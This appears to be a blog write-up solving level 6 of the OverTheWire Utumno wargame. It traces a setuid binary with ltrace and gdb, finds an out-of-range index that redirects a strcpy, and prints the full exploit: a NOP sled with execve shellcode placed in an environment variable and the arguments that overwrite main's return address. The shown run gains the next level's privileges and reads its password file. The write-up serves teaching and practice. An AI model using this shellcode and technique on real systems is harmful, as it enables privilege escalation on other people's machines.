OverTheWire.org - Utumno - Level 6 Writeup

Let's try to run the code a few times and observe what happens

utumno6@utumno:~$  /utumno/utumno6
Missing args

utumno6@utumno:~$  /utumno/utumno6  A
Missing args

utumno6@utumno:~$ /utumno/utumno6  A A
Segmentation fault

utumno6@utumno:~$ /utumno/utumno6  A A A
Table position 0 has value 10
Description: A

It does something only when there are three command-line parameters.

Let's look at function calls with ltrace:

utumno6@utumno:~$ ltrace /utumno/utumno6  A A A
__libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8c3, 0, 16, 0x804a008)                                                            = 10
strtoul(0xffffd8c1, 0, 10, 0x804a008)                                                            = 0
strcpy(0x804a008, "A")                                                                           = 0x804a008
printf("Table position %d has value %d\nD"..., 0, 10, "A"Table position 0 has value 10
Description: A
)                                       = 45
+++ exited (status 0) +++

We see two calls to strtoul(): most probably passing the command line parameters.
Let's use numeric parameters

utumno6@utumno:~$  /utumno/utumno6  2 3 4
Table position 2 has value 3
Description: 4

utumno6@utumno:~$ ltrace /utumno/utumno6  1 2 3
__libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8c3, 0, 16, 0x804a008)                                                            = 2
strtoul(0xffffd8c1, 0, 10, 0x804a008)                                                            = 1
strcpy(0x804a008, "3")                                                                           = 0x804a008
printf("Table position %d has value %d\nD"..., 1, 2, "3"Table position 1 has value 2
Description: 3
)                                        = 44
+++ exited (status 0) +++

The sequence of operations that the vulnerable code executes are:

  • allocates 32 bytes in the heap with a malloc(32) 
  • executes two conversion from string to unsigned long with strtoul()
    • the first parameter is converted as base 10 number
    • the second as base 16 
    • they are stored somewhere on the stack 
  • Copies the third parameter on the heap with strcpy 


Now let's disassemble and add a few comments to explain the code

utumno6@utumno:~$ gdb /utumno/utumno6
...
(gdb) disas main
   0x080484fd <+34>:    call   0x8048380 <malloc@plt>
   0x08048502 <+39>:    add    $0x4,%esp
   0x08048505 <+42>:    mov    %eax,-0x34(%ebp)
# malloc stored its output (the target buffer address) into -0x34(%ebp)

   0x08048530 <+85>:    call   0x80483b0 <strtoul@plt>
   0x08048535 <+90>:    add    $0xc,%esp
   0x08048538 <+93>:    mov    %eax,-0x4(%ebp)
   0x08048548 <+109>:   call   0x80483b0 <strtoul@plt>
   0x0804854d <+114>:   add    $0xc,%esp
   0x08048550 <+117>:   mov    %eax,-0x8(%ebp)
# The strtoul stored first parameter in -0x4(%ebp) and the second in -0x8(%ebp)

   0x0804856d <+146>:   mov    -0x8(%ebp),%eax
   0x08048570 <+149>:   mov    -0x4(%ebp),%edx
  
# It copied the first parameter in eax and the second parameter in edx
   
   0x08048573 <+152>:   mov    %edx,-0x30(%ebp,%eax,4)
# Then it wrote the second parameter in a location that is influenced by the first parameter (via %eax)

An idea could be to use the first parameter to advance on the stack to reach the location of return address of main().
Then overwrite it using the second parameter so that the return address points to the buffer containing the third parameter. And put a shellcode as third parameter.

Unfortunately it's not possible because there is a check on the first parameter: it must lower than decimal 10.
So we can't go up the stack enough to reach the return address location!

   0x08048553 <+120>:   cmpl   $0xa,-0x8(%ebp)
   0x08048557 <+124>:   jle    0x804856d <main+146>

Well, what about using a negative number for the first parameter?
 We may be able to go down on the stack to reach some other areas.

Let's try with -1:

utumno6@utumno:~$ /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE
Segmentation fault

Mmmmh interesting... let's check what happens with ltrace

utumno6@utumno:~$ ltrace /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE
__libc_start_main(0x80484db, 4, 0xffffd774, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8ad, 0, 16, 0x804a008)                                                            = 0x41414141
strtoul(0xffffd8aa, 0, 10, 0x804a008)                                                            = 0xffffffff
strcpy(0x41414141, "BBBBCCCCDDDDEEEE" <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Whoa... we controlled the location target of the strcpy with the second parameter.

So we can now find a way to exploit it:

  • put an EGG on the stack with some NOP sled 
  • find its location on the stack 
  • use -1 as first parameter 
  • use location of the return address as second parameter 
  • use the location of the EGG as third paramter (4 bytes to be copied, no more!) 
In this way we should be able to trigger a strcpy that writes the address of EGG over the return address of main()

Let's set the EGG with some NOP sled and a standard shellcode:

export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')


With a few runs in gdb we can find the return address is located at 0xffffd64c
So we can exploit and get a shell (gdb drops prvivileges)

utumno6@utumno:~$ gdb /utumno/utumno6
...
(gdb) set args -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno6 -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"')
Table position -1 has value -10676
Description: `¦¦¦
process 3207 is executing new program: /bin/dash
$ 

And now outside gdb: we have to add some bytes to the return address (usually 0x10 bytes)

utumno6@utumno:~$ /utumno/utumno6 -1 ffffd65c $(python -c 'print "\x60\xde\xff\xff"')
Table position -1 has value -10660
Description: `¦¦¦
$ id
uid=16006(utumno6) gid=16006(utumno6) euid=16007(utumno7) groups=16006(utumno6)
$ cat /etc/utumno_pass/utumno7
t********e
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.